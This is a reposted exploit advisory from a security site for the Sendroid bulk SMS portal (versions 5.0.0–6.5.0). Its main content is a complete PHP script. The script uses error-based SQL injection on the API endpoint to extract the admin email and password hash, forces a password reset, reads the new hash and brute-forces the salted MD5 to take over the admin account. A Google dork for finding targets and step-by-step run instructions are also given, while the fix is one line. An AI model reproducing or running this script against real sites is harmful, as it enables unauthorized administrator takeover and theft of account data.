首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Sendroid < 6.5.0 - SQL Injection
来源:http://twitter.com/@gideon_onwuka 作者:Gideon 发布时间:2017-12-27  
# Exploit Title: Sendroid - Bulk SMS Portal, Marketing Script( 5.0.0 - 6.5.0 ) - SQL Injection
# Google Dork: "welcome to * SMS portal"
# Date: 22/12/2017
# Exploit Author: Onwuka Gideon <dongiodmed[@]gmail[.]com>
Contact: http://twitter.com/@gideon_onwuka
# Vendor Homepage: http://ynetinteractive.com/
# Software Buy: https://codecanyon.net/item/sendroid-bulk-sms-portal-marketing-2way-messaging-script-with-mobile-app/14657225
# Version: 5.0.0 - 6.5.0
# Tested on: Mac OS
 
 
1. Description
 
The softaware suffers from SQL Injection:
"/API/index.php?action=compose&username=sender&api_key=sdsd&sender"
 
2. Script (Automatic takeover)
 
Attached to mail
 
4. How to run Script
  You must have PHP installed on your system to run the script.
 
   - First, copy the code to a file and save(eg: sendroid_exploit.php)
   - Open up your command line and CD into the directory where you saved the file.
   - Now, type "$ php -f sendroid_exploit.php url=http://localhost/sms"
 
Note: The URL should be a direct link to where the software is installed.
 
3. Proof of Concept
 
Run the script for example:
  php -f sendroid_exploit.php url=http://localhost/sms
 
<?php
/**
* A script to authomatically get admin password
*
* @author: Onwuka Gideon <dongidomed[@]gmail[.]com>
*
*/
 
parse_str(implode('&', array_slice($argv, 1)), $_GET);
 
$queries =[
    "sql_get_email" => "/*!12345SELECT*/+email+FROM+users+WHERE+username='admin'",
    "sql_get_password0" => "/*!12345SELECT*/+SUBSTRING(password,1,32)+FROM+users+WHERE+username='admin'",
    "sql_get_password1" => "/*!12345SELECT*/+SUBSTRING(password,33)+FROM+users+WHERE+username='admin'",
];
 
$payload = "/API/index.php?action=compose&username=asdasd%27)%20OR%20(SELECT%203321%20FROM(SELECT%20COUNT(*),CONCAT+((<query>),FLOOR(RAND(0)*2))x%20FROM%20/*!INFORMATION_SCHEMA*/.PLUGINS%20GROUP%20BY%20x)a)--%20RPjw&api_key=sdsd&sender";
//
 
checkCommands();
 
print_r(getEmailAndPassword($_GET['url'], $payload, $queries));
 
 
/**
*
* Checks if minimum expected command is issued
*
* @param: $_GET
* @return; Boolean
**/
 
 
function checkCommands(){
    
    //url  && shell
    $url = $_GET['url'] ?? "";
    
    if( $url == "" ) {
 
        "Please enter a target";
 
        help();
        exit(1);
    }
}
 
// Print help message
function help(){
 
    echo "Invalid command " . PHP_EOL;
    echo "eg php -f sendroid_exploit.php url=https://localhost/sms" . PHP_EOL;
    echo "" . PHP_EOL;
}
 
 
// ==
// == Reset password and Get the Password hash
// ==
function getEmailAndPassword($url, $payload, $queries){
   
   //>> Fetch admin email
   echo "Fetching admin email....:";
     $sql_get_email = $url . str_replace("<query>", $queries['sql_get_email'], $payload);
     $email = extractValue(makeRequest($sql_get_email));
   echo $email . PHP_EOL.PHP_EOL;
   //<< EndFetch admin email
 
   //>> Fetch admin old pass
   echo "Fetching admin old password...:";
     $sql_old_password0 = $url . str_replace("<query>", $queries['sql_get_password0'], $payload);
     $sql_old_password1 = $url . str_replace("<query>", $queries['sql_get_password1'], $payload);
     $old_password = extractValue(makeRequest($sql_old_password0), 'password') . extractValue(makeRequest($sql_old_password1), 'password');
   echo $old_password . PHP_EOL.PHP_EOL;
   //<< End Fetch admin old
 
   // Now we have the old password and admin email
   // reset password
   echo "Resetting password...:";
     $forgot_password = $url . "/administrator/index.php?reset&p";
     makeRequest($forgot_password, "POST", ["userEmail" => $email]);
   echo " Done!" . PHP_EOL.PHP_EOL;
 
   //>> Fetch admin new password
   echo "Getting new password...:";
     $sql_new_password0 = $url . str_replace("<query>", $queries['sql_get_password0'], $payload);
     $sql_new_password1 = $url . str_replace("<query>", $queries['sql_get_password1'], $payload);
     $new_password = extractValue(makeRequest($sql_new_password0), 'password') . extractValue(makeRequest($sql_new_password1), 'password');
   echo $new_password . PHP_EOL.PHP_EOL;
   //<< End Fetch admin new password
 
   //>> Cracking password
   echo "Craking password...:";
     $password = crackPassword($new_password);
   echo $password . PHP_EOL.PHP_EOL;
   //<< Cracking password
 
   // return $sql_get_email;
   return ["email" => $email, "password" => $password];
}
 
//
// POST and GET request
// ==
function makeRequest($url, $method = "GET", $parameter = []){
 
    // Get cURL resource
    $curl = curl_init();
    // Set some options - we are passing in a useragent too here
    if( strtolower($method) == "post" ){
        curl_setopt_array($curl, [
            CURLOPT_RETURNTRANSFER => 1,
            CURLOPT_URL => $url,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 0_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36',
            CURLOPT_POST => 1,
            CURLOPT_POSTFIELDS => $parameter
        ]);
    }
    else{
 
        curl_setopt_array($curl, [
            CURLOPT_RETURNTRANSFER => 1,
            CURLOPT_URL => $url,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 0_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'
        ]);
    }
    // Send the request & save response to $resp
    $resp = curl_exec($curl);
    // Close request to clear up some resources
    curl_close($curl);
 
    return $resp;
}
 
// Extract the real value
function extractValue($payload, $what = "email"){
   
   $patterns = []; $patterns[0] = "/ for key 'group_key'/"; $patterns[1] = "/Duplicate entry /"; $patterns[2] = "/\s\s+/"; $patterns[3] = "/'/"; 
   $replacements = [];  $replacement[0] = ""; $replacements[1] = ""; $replacements[2] = ""; $replacements[3] = "";
   
   $result = preg_replace($patterns, $replacements, $payload);
     
    return substr($result, 0, -1);
}
 
 
function crackPassword($password){
    
   echo " cracking... please wait... ";
 
   $pwsalt = explode( ":",$password ); 
 
   for ($i=1; $i < 20000000000000 ; $i++) {
 
     if(md5($i . $pwsalt[1]) == $pwsalt[0] ) { 
 
       return $i;
     }
 
   }
 
   return "Could not crack password";
}
 
If you successfully run the script, you'll get the admin password. You can login to the admin portal:
localhost/sms/administrator/
 
4. Solution:
   
Update to the latest version
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·COMTREND ADSL Router CT-5367 -
·Telesquare SKT LTE Router SDT-
·GetGo Download Manager 5.3.0.2
·SysGauge Server 3.6.18 - Denia
·Oracle MySQL UDF Payload Execu
·DotNetNuke DreamSlider 01.01.0
·Trend Micro Smart Protection S
·ALLMediaServer 0.95 - Buffer O
·Xbox 360 Aurora 0.6b Default C
·Kingsoft Antivirus/Internet Se
·Netcore / Netis Routers - UDP
·HP Insight Control For VMware
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved